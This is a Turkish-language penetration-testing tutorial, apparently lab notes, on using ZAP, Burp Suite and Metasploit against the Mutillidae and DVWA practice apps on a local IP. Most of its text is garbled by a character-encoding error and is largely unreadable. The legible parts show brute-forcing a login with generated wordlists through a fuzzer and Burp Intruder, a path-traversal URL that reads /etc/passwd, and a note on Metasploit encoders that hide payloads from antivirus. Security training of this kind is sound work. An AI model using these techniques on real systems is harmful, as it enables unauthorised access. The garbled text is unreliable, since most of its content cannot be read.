password 



hello 

ȅŀǇŀŎŀƐƤ ŘŜƴŜƳŜƭŜǊ ŀǒŀƐƤŘŀƪƛ Ǝƛōƛ ƻƭǳǊΦ 

password0000 

password0001 

. 

. 

password9999 

hello0000 

hello0001 

. 

. 

hello9999 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



Zaproxy: 
½ŜŘ !ǘǘŀŎƪ tǊƻȄȅ ό½!tύΣ ²Ŝō ǎƤȊƳŀ ǘŜǎǘƭŜǊƛƴŘŜ ƪǳƭƭŀƴƤƭŀƴ ǾŜ ǿŜō ǳȅƎǳƭŀƳŀ ƎǸǾŜƴƭƛƐƛ ƘŀƪƪƤƴŘŀ œƻƪ ŦŀȊƭŀ 

ōƛƭƎƛƴƛȊ ƻƭƳŀǎŀ ŘŀƘƛ ǊŀƘŀǘƭƤƪƭŀ ǀƐǊŜƴƛǇ ƪǳƭƭŀƴŀōƛƭŜŎŜƐƛƴƛȊ ŀœƤƪ ƪŀȅƴŀƪΣ ǸŎǊŜǘǎƛȊ ƎǸœƭǸ ōƛǊ ŀǊŀœǘƤǊΦ 

 

½ŀǇǊƻȄȅ ŀǊŀŎƤƴƤ ōǊƻǿǎŜǊ ƛƭŜ ǿŜō ǎǳƴǳŎǳ ŀǊŀǎƤƴŀ ƎƛǊƳŜƪ ƛœƛƴ ƪǳƭƭŀƴŀōƛƭƛǊ ǾŜȅŀ ƘŜŘŜŦ ǎŜœǘƛƐƛƴƛȊ ǿŜō 

ǎǳƴǳŎǳǎǳƴŘŀƪƛ ƛœ-ŘƤǒ ƭƛƴƪƭŜǊƛΣ ǎǳƴǳŎǳ ōƛƭƎƛƭŜǊƛ ǾŜ ȊŀŀŦƛȅŜǘƭŜǊƛ ǘŜǎǇƛǘ ŜǘƳŜƪ ŀƳŀŎƤȅƭŀ Řŀ ƪǳƭƭŀōƛƭƛǊǎƛƴƛȊΦ 

tǊƻȄȅ ƻƭŀǊŀƪ ƪǳƭƭŀƴƳŀƪ ƛœƛƴ ōǊƻǿǎŜǊΩƤƴƤȊƤƴ ǇǊƻȄȅ ŀȅŀǊƭŀǊƤƴŘŀ ŀŘǊŜǎ ƻƭŀǊŀƪ ƭƻŎŀƭƘƻǎǘ ǾŜ ǇƻǊǘ ƻƭŀrak 8080 

ȅŀȊƳŀƴƤȊ ȅŜǘŜǊƭƛ ƻƭŀŎŀƪǘƤǊΦ 

  



½!tΣ ǎǎƭ ǎŜǊǘƛŦƛƪŀƭƤ ǿŜō ǳȅƎǳƭŀƳŀǎƤ ƛƭŜ ōǊƻǿǎŜǊ ŀǊŀǎƤƴŘŀ ǇǊƻȄȅ ƻƭŀǊŀƪ ƪǳƭƭŀƴƤƭŘƤƐƤƴŘŀ ǎǎƭ ŘƻƐǊǳƭŀƳŀǎƤƴŘŀ 

Ƙŀǘŀ ƻƭŀŎŀƐƤƴŘŀƴ ōŀƐƭŀƴǘƤ ƪƻǇŀŎŀƪǘƤǊΦ .ǳƴǳ ŀǒƳŀƪ ƛœƛƴ ȊŀǇ ǳȅƎǳƭŀƳŀǎƤƴŘŀ ōǳƭǳƴŀƴ /!ΩŘŀƴ ǸǊŜǘƛƭŜƴ 

sertifika exporǘ ŜŘƛƭƛǇ ōǊƻǿǎŜǊΩƤƴ ƎǸǾŜƴƭƛǊ ƪǀƪ ǎŜǊǘƛŦƛƪŀƭŀǊƤƴŀ ŜƪƭŜƳŜƪ ƎŜǊŜƪŜŎŜƪǘƛǊΦ 

½ŀǇ ǳȅƎǳƭŀƳŀǎƤƴŘŀ tools>options ŀŘƤƳƤƴŘŀƴ ά5ȅƴŀƳƛŎ {{[ /ŜǊǘƛŦƛŎŀǘŜǎέ ǎŜœŜƴŜƐƛƴŘŜƴ ǎŜǊǘƛŦƛƪŀȅƤ 

kaydediyoruz. 

   

YŀȅŘŜǘǘƛƐƛƳƛȊ ǎŜǊǘƛŦƛƪŀȅƤ ƳƻȊƛƭƭŀ ŦƛǊŜŦƻȄ Řŀ Preferences> Advanced> Certificates> View Certificates 

ŀŘƤƳƤƴŘŀƴ import ediyoruz.  

 

 



½!t ǇǊƻȄȅ ƛƭŜ мфнΦмруΦмрнΦмор ǿŜō ǳȅƎǳƭŀƳŀǎƤƴŀ ƎƛǘƳŜȅŜ œŀƭƤǒŀƭƤƳΦ .ǊƻǿǎŜǊ Řŀ ǇǊƻȄȅ ŀȅŀǊƤƴƤ 

ȅŀǇǘƤƪǘŀƴ ǎƻƴǊŀ ½!t ǳȅƎǳƭŀƳŀƳƤȊŀ ƎƛŘƛȅƻǊǳȊΦ 

mƴŎŜƭƛƪƭŜ ƳƻŘǳƳǳȊǳ !¢¢!/Y aƻŘŜΩŀ ŀƭƤȅƻǊǳȊΦ 5ŀƘŀ ǎƻƴǊŀ Set Break ŘƛȅŜǊŜƪ ŀǊŀȅŀ ƎƛǊƛȅƻǊǳȊΦ TǎǘŜƪ ½!t 

ǳȅƎǳƭŀƳŀǎƤƴŘŀ ōƛȊŘŜƴ ŀƪǎƛȅƻƴ ŀƭƳŀƳƤȊƤ ōŜƪƭƛȅƻǊΦ  Submit and continoue next break point diyerek bir 

ǎƻƴǊŀƪƛ ƛǎǘŜƐŜ ƎŜœƛȅƻǊǳȊΦ 

 

 

5±²! ǎŀȅŦŀǎƤƴŘŀ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ ǒƛŦǊŜ ƎƛǊŜǊŜƪ ƛǎǘŜƐƛƴ ½!tΩŀ ƎŜƭƳŜǎƛƴƛ ƎǀǊǸȅƻǊǳȊΦ 

 

TǎǘŜŘƛƐƛƴ ½!t ǇǊƻȄȅ ŘŜ ŘŜƐƛǒƛƪƭƛƪ ȅŀǇƤƭŀōƛƭƛǊ ƻƭŘǳƐǳƴǳ ƎǀǊŜōƛƭƛȅƻǊǳȊΦ TǎǘŜŘƛƐƛƳƛȊ ŀƭŀƴŘŀ ŘŜƐƛǒƛƪƭƛƪ ȅŀǇƤǇ 

ǎǳƴǳŎǳȅŀ ƎǀƴŘŜǊŜōƛƭƛǊƛȊΦ 



 ŀȅŜǘ ōǳƴǳ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤ ƻƭŀǊŀƪ ƎŜǊœŜƪƭŜǒǘƛǊƳŜƪ ƛǎǘŜǊǎŜƪΣ ŘŜƐƛǒƪŜƴƛƳƛȊƛ œƛŦǘ ǘƤƪƭŀȅƤǇ ǎŜœƛȅƻǊǳz. 

mǊƴŜƐƛƳƛȊŘŜ ŀŘƳƛƴ ǇŀǎǎǿƻǊŘΩǸƳǸȊǸ ǎŜœǘƛƪΦ {ŀƐ ǘƤƪƭŀȅƤǇ fuzzer deyip ǇŀȅƭƻŀŘǎΩŀ ǘƤƪƭƤȅƻǊǳȊΦ Add deyip 

type olarak file ǎŜœƛǇ ǿƻǊŘƭƛǎǘΩƛƳƛȊƛƴ ȅŜǊƛƴƛ ǎŜœƛǇ ǿƻǊŘƭƛǎǘΩƛƳƛȊƛ ŜƪƭƛȅƻǊǳȊΦ 

 

 

²ƻǊŘƭƛǎǘΩƛƳƛȊƛ ŜƪƭŜŘƛƪǘŜƴ ǎƻƴǊŀ ŦǳȊȊŜǊΩƤ ōŀǒƭŀǘƤȅƻǊǳȊΦ .ŀǒŀǊƤƭƤ ƻƭǳǇ ƻƭƳŀŘƤƐƤƴƤ size resp. Body den 

ŀƴƭŀȅŀōƛƭƛȅƻǊǳȊΦ tŀǎǎǿƻǊŘ ǇŀȅƭƻŀŘΩǳ ƛœƛƴ size respnse body Ψƴƛƴ ŘŜƐŜǊƛƴƛƴ Ŝƴ ȅǸƪǎŜƪ ŘŜƐŜǊ ƻƭŘǳƐǳƴǳ 

ŀȅǊƤŎŀ Response tabΩƤƴŘŀ Řŀ ƻǘǳǊǳƳ ŀœŀōƛƭŘƛƐƛƳƛȊƛ ƎǀǊŜōƛƭƛȅƻǊǳȊΦ 

 



 

½!tΩƤƴ ŘƛƐŜǊ ƎǸœƭǸ ȅŀƴƤ ƛǎŜ ǿŜō ǳȅƎǳƭŀƳŀǎƤƴŀ ŘƻƐǊǳŘŀƴ ƎǸǾŜƴƭƛk analizi yapabiliyor olmak. Quick start 

ǘŀōΩƤƴŘŀ Url to attack ŀƭŀƴƤƴŀ ŀƴŀƭƛȊƛƴƛ ȅŀǇƳŀƪ ƛǎǘŜŘƛƐƛƳƛȊ ŀŘǊŜǎƛ ǾŜȅŀ LtΩȅƛ ȅŀȊƤȅƻǊǳȊ ǾŜ Attack 

ōǳǘƻƴǳƴŀ ǘƤƪƭƤȅƻǊǳȊΦ 

 

¢ŀǊŀƳŀ ōƛǘǘƛƪǘŜƴ ǎƻƴǊŀ ŀƭŜǊǘǎΩƭŜǊƛƳƛȊŜ ōŀƪƤȅƻǊǳȊΦ 

 

у ŀŘŜǘ ŀƭŜǊǘ ǾŜ Ŝƴ ǸǎǘǘŜ ƪǊƛǘƛƪ ŀƭŜǊǘ ǾŀǊΦ 

tŀǘƘ ¢ǊŀǾŜǊǎŀƭ ŀƭŜǊǘƛƳƛȊƛƴ ǘŀƴƤƳƤƴŀ ōŀƪƤȅƻǊǳȊΦ ¢ŀƴƤƳŘŀƴ Řŀ ŀƴƭŀȅŀōƛƭŜŎŜƐƛƳƛȊ Ǝƛōƛ ǿŜō ǎǳƴǳŎǳŘŀƪƛ 

dosyalara url si verilen ( http://192.168.152.135/mutillidae/?page=%2Fetc%2Fpasswd) adres 

ǸȊŜǊƛƴŘŜƴ ƛƭƎƛƭƛ ŘƻǎȅƭŀǊŀ ŜǊƛǒŜōƛƭŘƛƐƛƳƛȊƛ ōŜƭƛǊǘƛȅƻǊΦ  

TƭƎƛƭƛ ǳǊƭΩȅŜ ƎƛǘƳŜȅŜ œŀƭƤǒǘƤƐƤƳƤȊŘŀ ƛǎŜ ƭƛƴǳȄ ǎǳƴǳŎǳƴǳƴ ŜǘŎκǇŀǎǎǿŘ ŘƻǎȅŀǎƤƴŀ ŜǊƛǒǘƛƐƛƳƛȊƛ ƎǀǊǸȅƻǊǳȊΦ 

 

http://192.168.152.135/mutillidae/?page=%2Fetc%2Fpasswd


Burp: 
²Ŝō ǳȅƎǳƭŀƳŀ ǘŜǎǘŜƭŜǊƛƴŘŜ ǎƤȊƳŀ ǘŜǎǘƭŜǊƛƴŘŜ ǎƤƪœŀ ƪǳƭƭŀƴƤƭŀƴ ŘƛƐŜǊ ŀǊŀœ .ǳǊǇ ŀǊŀŎƤŘƤǊΦ Web 

ǳȅƎǳƭŀƳŀƭŀǊƤƴŘŀ ǎƤȊƳŀ ǘŜǎǘƛ ǳȊƳŀƴƭŀǊƤΣ ƛǎǘŜƳŎƛ ƛƭŜ ǎǳƴǳŎǳ ŀǊŀǎƤƴŘŀ ƎŜƭŜƴ ƎƛŘŜƴ ƛǎǘŜƪƭŜǊƛΣ ǾŜǊƛƭŜǊƛ ǇǊƻȄȅ 

ǀȊŜƭƭƛƐƛƴƛ ƪǳƭƭŀƴŀǊŀƪ ƎǀǊƳŜȅƛ ƛǎǘŜǊƭŜǊΦ DŜǊŜƪǘƛƐƛƴŘŜ ƛǎǘŜƳŎƛŘŜƴ ƎƛŘŜƴ ƛǎǘŜƪƭŜǊƛ ŘŜƐƛǒǘƛǊŜǊŜƪ ǎǳƴǳŎǳŘŀ 

ŦŀǊƪƭƤ ǎƻƴǳœƭŀǊ ŜƭŘŜ ŜǘƳŜƪ ƛǎǘŜǊƭŜǊΦ ²Ŝō ǳȅƎǳƭŀƳŀǎƤƴŘŀ ƪǳƭƭŀƴƤŎƤȅŀ ƎǀȊǸƪƳŜȅŜƴΣ ȅŜǘƪƛ ŀǘƭŀǘƳŀȅŀ ƴŜŘŜƴ 

ƻƭŀƴ ȊŀŀŦƛȅŜǘƭŜǊ ǎǀȊ ƪƻƴǳǎǳ ƛǎŜΣ ōǳǊǇ ŀǊŀŎƤ ǎŀȅŜǎƛƴŘŜ ōǳ ȊŀŀŦƛȅŜǘƭŜǊƛƴ ǘŜǎǇƛǘƛ ǾŜ ǎǀƳǸǊǸƭƳŜǎƛ ǎǀȊ ƪƻƴǳǎǳ 

ƻƭŀŎŀƪǘƤǊΦ 

.ǳǊǇ ŀǊŀŎƤƴƤƴ ǎƤƪ ƪǳƭƭŀƴƤƭŀƴ ƳƻŘǸƭƭŜǊƛƴƛ ƎǀǊƳŜȅŜ œŀƭƤǒŀƭƤƳΦ 

ProxyΥ ǇǊƻȄȅ ƳƻŘǸƭǸ ŀŘƤƴŘŀƴŘŀ ŀƴƭŀǒƤƭŀŎŀƐƤ ƎƛōƛΣ ƛǎǘŜƳŎƛ ƛƭŜ ǎǳƴǳŎǳ ŀǊŀǎƤƴŀ ƎƛǊŜǊŜƪΣ ƎŜƭŜƴ ƎƛŘŜƴ 

ƛǎǘŜƪƭŜǊƛ ƎǀǊǸǇ ŘŜƐƛǒǘƛǊƳŜ ƛǒƭŜƳƛ ƛœƛƴ ƪǳƭƭŀƴƤƭƤǊΦ 

.ǊƻǿǎŜǊ Řŀ ǇǊƻȄȅ ŀȅŀǊƭŀǊƤƴƤ ȅŀǇǘƤƪǘŀƴ ǎƻƴǊŀΣ ōǳǊǇ ŀǊŀŎƤƴŘŀ ǇǊƻȄȅ ǘŀōΩƤƴŘŀ άƛƴǘŜǊŎŜǇǘ ƛǎ ƻƴέ ŘǸƐƳŜǎƛƴƛ 

ǘƤƪƭŀŘƤƐƤƴƤȊŘŀ ƛǎǘŜƪƭŜǊ ōǳǊǇ ŀǊŀŎƤƴŘŀ ƎǀǊǸƴǘǸƭŜƴƳŜȅŜ ōŀǒƭŀƴŀŎŀƪǘƤǊΦ 

TǎǘŜƐƛ άCƻǊǿŀǊŘέ ŘƛȅŜǊŜƪ ǎǳƴǳŎǳȅŀ ƎǀƴŘŜǊŜōƛƭƛǊΣ ά5ǊƻǇέ ŘƛȅŜǊŜƪ ƛǎǘŜƛƐƛƴ ǎǳƴǳŎǳȅŀ ƎƛǘƳŜǎƛƴƛ 

ŜƴƎŜƭƭŜȅŜōƛƭƛǊƛȊΦ άŀŎǘƛƻƴέ ŘƛȅŜǊŜƪ ŘŜ ōŀǒƪŀ ƳƻŘǸƭƭŜǊŘŜ ƛǒƭŜƳ ȅŀǇƤƭƳŀǎƤƴƤ ǎŀƐƭŀȅŀōƛƭƛǊƛȊΦ 

  

άIǘǘǇ ƘƛǎǘƻǊȅέ ǘŀōΩƤȅƭŀ ǿŜō ǳȅƎǳƭŀƳŀǎƤƴŘŀƪƛ ƎŜȊƛƴƳŜ ǘŀǊƛƘœŜǎƛƴƛ ƎǀǊǸƴǘǸƭŜȅŜōƛƭƛǊǎƛƴƛȊΦ hƭǳǒŀƴ 

tIt{9{{L5 ǾŜ ŎƻƻƪƛŜ ōƛƭƎƛǎƛƴƛ ƎǀǊǸƴǘǸƭŜȅŜōƛƭƛǊǎƛƴƛȊΦ TǎǘŜƳŎƛƴƛƴ Řƛƭ ǎŜœŜƴŜƐƛΣ ōǊƻǿǎŜǊ ōƛƭƎƛǎƛƴƛ 

ƎǀǊǸƴǘǸƭŜȅŜōƛƭƛǊǎƛƴƛȊΦ 

 

YǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ ǒƛŦǊŜ ōƛƭƎƛǎƛƴƛ ƎƛǊƛƭŘƛƪǘŜƴ ǎƻƴǊŀ ƛǎǘŜƐƛƴ ƴŜ ǒŜƪƛƭŘŜ ǎǳƴǳŎǳȅŀ ƎƛǘǘƛƐƛƴƛ ƎǀǊŜōƛƭƛǊƛȊΦ 



 

 

{ƻƴ ƻƭŀǊŀƪ Řŀ ǎǳƴǳŎǳŘŀƴ ƎŜƭŜƴ ȅŀƴƤǘƤ ƎǀǊǸƴǘǸƭŜȅŜōƛƭƛȅƻǊǳȊΦ 

 

 



Intruder: LƴǘǊǳŘŜǊ ƳƻŘǸƭǸΣ ƛǎǘŜƳŎƛ ƛƭŜ ǎǳƴǳŎǳ ŀǊŀǎƤƴŘŀ ȅŀƪŀƭŀƴŀƴ ŘŜƐŜǊƭŜǊƭŜ ƻȅƴŀȅŀǊŀƪΣ ǎǳƴǳŎǳŘŀ 

ƻǘǳǊǳƳ ŀœƳŀΣ Ƙŀƪ ŜƭŘŜ ŜǘƳŜƪ ŀƳŀŎƤȅƭŀ ƪǳƭƭŀƴƤƭƳŀƪǘŀŘƤǊΦ 

DaƘŀ ǀƴŎŜ ƭƻƎƛƴ ŜƪǊŀƴƤƴŘŀ ȅŀƪŀƭŀƳƤǒ ƻƭŘǳƐǳƳǳȊ ƛǎǘŜƐƛ ƛƴǘǊǳŘŜǊΩŀ ƎǀƴŘŜǊŜƭƛƳΦ  

.ǳƴǳ ȅŀǇƳŀƪ ƛœƛƴ !Ŏǘƛƻƴ ǎŜœŜƴŜƐƛ ƛƭŜ άǎŜƴŘ ǘƻ ƛƴǘǊǳŘŜǊέ ŘƛȅŜōƛƭƛǊǎƛƴƛȊΣ ǒŀȅŜǘ IǘǘǇ IƛǎǘƻǊȅ ŘŜƴ ƎŜœƳƛǒŜ 

ȅǀƴŜƭƛƪ ōƛǊ ƛǎǘŜƐƛ ȅǀƴƭŜƴŜŘƛǊŎŜƪ ƛǎŜƴƛȊΣ ǎŀƐ ǘƤƪƭŀȅƤǇ ōǳ ƛǒƭŜƳƛ ƎŜǊœŜƪƭŜǒǘƛǊŜōilirsiniz. 

IŜŘŜŦ ƻƭŀǊŀƪΣ ǿŜō ǳȅƎǳƭŀƳŀ ǎǳƴǳŎǳƳǳȊΣ ǇƻǊǘ ƻƭŀǊŀƪ ул ǇƻǊǘǳƴǳ ƪǳƭƭŀƴƤȅƻǊǳȊΦ 

 

 

tƻǎƛǘƛƻƴǎ ǘŀōΩƤƴŘŀ ŘŜƐƛǒƪŜƴƭŜǊ ƭƛǎǘŜƭŜƴŘƛΦ .ǳ ŘŜƐƛǒƪŜƴƭŜǊŘŜƴ ƘŀƴƎƛǎƛ ƛƭŜ ƻȅƴŀƳŀƪ ƛǎǘŜŘƛƐƛƳƛȊƛ 

ǎŜœƛȅƻǊǳȊΦ /ƭŜŀǊ ǎŜœŜƴŜƐƛ ƛƭŜ ǘǸƳ ŘŜƐƛǒƪŜƴƭŜǊƛƴ ǎŜœƛƳƭŜǊƛƴƛ ƪŀƭŘƤǊŀōƛƭƛǊΣ !ŘŘ ǎŜœŜƴŜƐƛ ƛƭŜ ŜƪƭŜȅŜōƛƭƛǊƛȊΦ 

 

.ƛȊ ōǳǊŀŘŀ ƪǳƭƭŀƴƤŎƤ ŀŘƤƴƤ ōƛƭŘƛƐƛƳƛȊƛ ǾŀǊǎŀȅŀǊŀƪ ŘƛƐŜǊ ǘǸƳ ŘŜƐƛǒƪŜƴƭŜǊƛ ƪŀƭŘƤǊŀǊŀƪΣ ǒƛŦǊŜ ŘŜƴŜƳŜǎƛ 

ȅŀǇŀƭƤƳΦ !ǘǘŀŎƪ ǘȅǇŜ ƻƭŀǊŀƪ ǾŀǊǎŀȅƤƭŀƴ ǎƴƛǇŜǊ ǎŜœŜƴŜƐƛ ƪŀƭǎƤƴΦ 

tŀȅƭƻŀŘǎ ǘŀōΩƤƴŘŀΣ ǘŜƪ ōƛǊ ŘŜƐƛǒƪŜƴ ƛœƛƴ ǎŀƭŘƤǊƤ ƎŜǊœŜƪƭŜǒǘƛǊŜŎŜƐƛƳƛȊ ƛœƛƴ ǇŀȅƭƻŀŘ ǎŜǘ ƪƤǎƳƤ ǎŀŘŜŎŜ м 

ƻƭŀǊŀƪ ƎŜƭŜŎŜƪǘƛǊΦ tŀȅƭƻŀŘ ǘȅǇŜ ǎŜœŜƴŜƐƛƴŘŜ ƛǎŜ ǎŀƭŘƤǊƤƴƤƴ œŜǒƛŘƛƴŜ ƎǀǊŜ ǇŀȅƭƻŀŘƭŀǊ ƳŜǾŎǳǘΦ  ŀȅŜǘ ōƛǊ 

ǿƻǊŘƭƛǎǘ ǸȊŜǊƛƴŘŜƴ ǎŀƭŘƤǊƤ ȅŀǇŀŎŀƪǎŀƴƤȊ ǎƛƳǇƭŜ ƭƛǎǘΣ ŜƭƛƴƛȊŘŜ ōƛǊ ƭƛǎǘŜ ȅƻƪ ǊŀǎǘƎŜƭŜ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤ 

yapacŀƪǎŀƴƤȊ ōǊǳǘŜ ŦƻǊŎŜǊ ǎŜœŜƴŜƐƛ ǳȅƎǳƴ ƻƭŀŎŀƪǘƤǊΦ 

9ƭƛƳƛȊŘŜ ōǳƭǳƴŀƴ ǿƻǊŘƭƛǎǘ ŀǊŀŎƤƭƤƐƤ ƛƭŜ ǎŀƭŘƤǊƤ ƎŜǊœŜƪƭŜǒǘƛǊŜƭƛƳΦ 



 

hǘǳǊǳƳ ŀœƤƴŎŀ ƴŀǎƤƭ ōƛǊ ǊŜǎǇƻƴǎŜ ŀƭŀŎŀƐƤƳƤȊƤ ƘŜƴǸȊ ōƛƭƳƛȅƻǊǳȊΦ .ŜƪƭŜƴǘƛƳƛȊ ōŀǒŀǊƤƭƤ ōƛǊ ƻǘǳǊǳƳ 

ƎŜǊœŜƪƭŜǒǘƛƐƛƴŘŜ ȅŀƴƤǘƤƴ ŦŀǊƪƭƤ ƻƭŀŎŀƐƤ ǾŜ ǾŜǊƛƴƛƴ ōƻȅǳǘǳƴǳƴ όƭŜƴƎƘǘύ ŘŀƘŀ ōǸȅǸƪ ƻƭƳŀǎƤƴƤ ōŜƪƭƛȅƻǊǳȊΦ 

мр ǇŀǎǎǿƻǊŘ ŘŜƴŜƳŜǎƛƴƛ ȅŀǇƤǇ ōƛȊƭŜǊŜ ƴŜ ǘǸǊ ȅŀƴƤǘ ǾŜǊŘƛƐƛƴƛ ƎǀǊŜƭƛƳΦ 

¸ŀǇǘƤƐƤƳƤȊ мр ǇŀǎǎǿƻǊŘ ŘŜƴŜƳŜǎƛƴŘŜ ƭŜƴƎƘǘ ŘŜ ōƛǊ ŘŜƐƛǒƛƪƭƛƪ ƎǀǊŜƳŜŘƛƪΦ {ǳƴǳŎǳŘŀ ƘŜǊƘŀƴƎƛ ŦŀǊƪƭƤ ōƛǊ 

ȅŀƴƤǘ ƻƭǳǇ ƻƭƳŀŘƤƐƤƴƤ ƎǀǊƳŜƪ ƛœƛƴ ƛǎǘŜƐƛ ŦƻǊǿŀǊŘƭŀȅŀƭƤƳΦ 

 

 

 



DǀǊǸƭŘǸƐǸ Ǝƛōƛ ōŀǒŀǊƤƭƤ ƻƭǳǇ ƻƭƳŀŘƤƐƤƴƤ ǎǳƴǳŎǳ ǳȅƎǳƭŀƳŀ ŀǊŀȅǸȊǸƴŘŜ ōƛȊƭŜǊŜ ǎǳƴŘǳƐǳƴǳ ƎǀǊǸȅƻǊǳȊΦ 

мпΦŎǸ ŘŜƴŜƳŜƴƛƴ ōŀǒŀǊƤƭƤ ƻƭŘǳƐǳƴǳ ǾŜ ōǳƴǳƴ Řŀ ǿƻǊŘƭƛǎǘƛƳƛȊŘŜƪƛ ǇŀǎǎǿƻǊŘΩŜ ŘŜƴƪ ƎŜƭŘƛƐƛƴƛ 

ƎǀǊŜōƛƭƛȅƻǊǳȊΦ 

 

 ƛƳŘƛ ŘŜ ƪǳƭƭŀƴƤŎƤ ŀŘƤƴƤƴ Řŀ ōƛƭƛƴƳŜŘƛƐƛ ŘǳǊǳƳ ƛœƛƴ ƴŀǎƤƭ ōƛǊ ȅƻƭ ƛȊƭŜȅŜŎŜƐƛƳƛȊŜ ōŀƪŀƭƤƳΦ 

 ŀȅŜǘ ƴŜ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ƴŜ ŘŜ ǒƛŦǊŜ ōƛƭƎƛǎƛƴƛ ōƛƭƳƛȅƻǊǎŀƪΣ ƛƴǘǊǳŘŜǊΩŀ ƎǀƴŘŜǊƛƭŜƴ ƛǎǘŜƪŘŜ ƘŜƳ ƪǳƭƭŀƴƤŎƤ ŀŘƤƴƤ 

ƘŜƳ ŘŜ ǒƛŦǊŜ ŀƭŀƴƤƴƤ ǎŜœƛȅƻǊǳȊΦ 

 

 

 

 



Tƪƛ ŘŜƐƛǒƪŜƴƛ ǎŜœǘƛƐƛƳƛȊ ƛœƛƴ ǇŀȅƭƻŀŘ ǎŜǘ ōǀƭǸƳǸƴŘŜ н ŘŜƐŜǊ ƎǀȊǸƪŜŎŜƪǘƛǊΦ Tƭƪ ŘŜƐŜǊ ǳǎŜǊƴŀƳŜ ƻƭŘǳƐǳ 

ƛœƛƴΣ м ƴǳƳŀǊŀƭƤ ǇŀȅƭƻŀŘ ǎŜǘ ǳǎŜǊƴŀƳŜΣ н ƴǳƳŀǊŀƭƤ ǇŀȅƭƻŀŘ ǎŜǘ ǇŀǎǎǿƻǊŘ ƛœƛƴ ƪǳƭƭŀƴƤƭŀŎŀƪΦ 

tŀȅƭƻŀŘ ǎŜǘ м ƛœƛƴ мм ŀŘŜǘ ŘŜƐƛǒƪŜƴ ƪǳƭƭŀƴƤƭŀŎŀƪΦ 

  

 

Payload set н ƪƤǎƤƳƤƴŘŀ Řŀ мр ŘŜƐƛǒƪŜƴ ƪǳƭƭŀƴƤƭŀŎŀƪ ǾŜ ǘƻǇƭŀƳ мср ŀŘŜǘ ǾŀǊȅŀǎȅƻƴ ƪǳƭƭŀƴƤƭŀŎŀƪ 

 



¢ŜǎǘƛƳƛȊƛƴ ǎƻƴǳƴŘŀ ȅƛƴŜ ōƻȅǳǘǘŀ όƭŜƴƎƘǘύ ŘŜ ōƛǊ ŘŜƐƛǒƛƪƭƛƪ ƎǀǊƳŜŘƛƪΦ 

 

 

.ǳ ȅǸȊŘŜƴ ōŀǒŀǊƤƭƤ ƻƭǳǇ ƻƭƳŀŘƤƐƤƳƤȊƤ ƛǎǘŜƪƭŜǊƛ ŦƻǊǿŀǊŘ ŜŘŜǊŜƪ ǳȅƎǳƭŀƳŀŘŀ ƎǀǊŜƭƛƳΦ мпсΩƴŎƤ 

denememizdŜ ōŀǒŀǊƤƭƤ ƻƭƳǳǒ ōǳ Řŀ ōƛȊƛƳ ŀŘƳƛƴ ǾŜ ǇŀǎǎǿƻǊŘ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ ǒƛŦǊŜƳƛȊŜ ŘŜƴƪ 

gelmektedir. 

 

 



 

Metasploit: 
aŜǘŀǎǇƭƻƛǘ ŀǎƭƤƴŘŀ ōƛǊ ŦǊŀƳŜǿƻǊƪǘǸǊΦ ¸ŀǇƤǎƤƴŘŀ ōƛǊ œƻƪ ǎǀƳǸǊǸ ǀƴŎŜǎƛ ōƛƭƎƛ ǘƻǇƭŀƳŀȅŀ ȅŀǊŀȅŀƴ 

όŀǳȄƛƭŀǊȅύ ƳƻŘǳƭƭŜǊΣ ȅŜǊŜƭ ǾŜ ǳȊŀƪ ǎǀƳǸǊǸόŜȄǇƭƻƛǘύ ƳƻŘǸƭƭŜǊƛ ōŀǊƤƴŘƤǊƳŀƪǘŀŘƤǊΦ {ƤȊƳŀ ǘŜǎǘƭŜǊƛƴŘŜ ōƛƭƎƛ 

ǘƻǇƭŀƳŀ ǾŜ ȊŀŦƛȅŜǘ ǘŜǎǇƛǘƛƴŘŜƴ ǎƻƴǊŀ ƎŜǊœŜƪƭŜǒǘƛǊƛƭŜŎŜƪ ŀŘƤƳ ōǳ ŀƭǘȅŀǇƤŘŀ ōǳƭǳƴŀƴ ŜȄǇƭƻƛǘ ƳƻŘǸƭƭŜǊƛ 

ƪǳƭƭŀƴŀǊŀƪ ǎƛǎǘŜƳƛ ŜƭŜ ƎŜœƛǊƳŜƪǘƛǊΦ  

!ǒŀƐƤŘŀƪƛ Ǝƛōƛ ōƛǊ ƪƻƴǎƻƭ ōƛȊƛ ƪŀǊǒƤƭƤȅƻǊ ƻƭŀŎŀƪΦ 

 

 

YƻƴǎƻƭŘŀ ƪŀǊǒƤƳƤȊŀ œƤƪŀƴ ōƛƭƎƛƭŜǊƛ ǘŀƴƤƳƭŀȅŀǊŀƪ ōŀǒƭŀȅŀƭƤƳΦ 

Exploit: ̧ ǳƪŀǊƤŘŀ Řŀ ōŀƘǎŜǘǘƛƐƛƳ Ǝƛōƛ ǎǀƳǸǊƳŜƪΣ ƛǎǘƛǎƳŀǊ ŜǘƳŜƪǘƛǊΦ  

Auxilary: ŜȄǇƭƻƛǘ ǀƴŎŜǎƛ ōƛƭƎƛ ǘƻǇƭŀƳŀȅŀ ȅŀǊŀȅŀƴ ƳƻŘǸƭƭŜǊŘƛǊΦ 

Post: {ǀƳǸǊǸ ǎƻƴǊŀǎƤ ǎƛǎǘŜƳŘŜ ƪǳƭƭŀƴƤƭŀƴ ƳƻŘǸƭƭŜǊŘƛǊ 

Payload: {ǀƳǸǊǸ ǎƻƴǊŀǎƤ ƘŜŘŜŦ ǎƛǎǘŜƳŘŜ œŀƭƤǒŀƴ ƪƻŘƭŀǊŘƤǊΦ 

Encoder: !ƴǘƛǾƛǊǸǎΣ Lt{ Ǝƛōƛ ƎǸǾŜƴƭƛƪ œǀȊǸƳƭŜǊƛƴƛ ŀǘƭŀǘƳŀƪ ƛœƛƴ ƪǳƭƭŀƴƤƭŀƴΣ ǇŀȅƭƻŀŘΩƭŀǊƤ ƎƛȊƭŜȅŜƴ 

ƳƻŘǸƭŘǸǊΦ 

 ƛƳŘƛ ŘŜ ƪƻƴǎƻƭ Řŀ ƪǳƭƭŀƴƤƭŀƴ ƪƻƳǳǘƭŀǊƤ ǘŀƴƤƳƭŀȅŀƭƤƳΦ 

